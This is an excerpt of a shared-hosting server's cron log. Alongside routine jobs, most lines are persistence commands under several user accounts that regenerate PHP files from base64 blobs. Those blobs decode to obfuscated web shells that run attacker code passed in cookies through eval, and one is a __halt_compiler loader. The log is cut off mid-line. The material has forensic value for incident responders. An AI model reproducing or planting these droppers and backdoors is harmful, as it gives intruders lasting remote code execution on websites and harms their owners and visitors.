Mar  2 04:37:02 medusa CROND[811]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:37:02 medusa CROND[814]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:37:02 medusa CROND[813]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:37:02 medusa CROND[815]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:37:02 medusa CROND[816]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 04:38:01 medusa CROND[21079]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:38:02 medusa CROND[21188]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:38:02 medusa CROND[21190]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 04:38:02 medusa CROND[21193]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:38:02 medusa CROND[21195]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:38:02 medusa CROND[21199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:38:02 medusa CROND[21187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:38:02 medusa CROND[21207]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:38:02 medusa CROND[21208]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:38:02 medusa CROND[21209]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:38:02 medusa CROND[21212]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:38:02 medusa CROND[21213]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:38:02 medusa CROND[21219]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:39:01 medusa CROND[8748]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:39:02 medusa CROND[8930]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 04:39:02 medusa CROND[8932]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:39:02 medusa CROND[8931]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 04:39:02 medusa CROND[8933]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:39:02 medusa CROND[8935]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:39:02 medusa CROND[8937]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:39:02 medusa CROND[8946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:39:02 medusa CROND[8947]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:39:02 medusa CROND[8948]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 04:39:02 medusa CROND[8949]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:39:02 medusa CROND[8950]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDF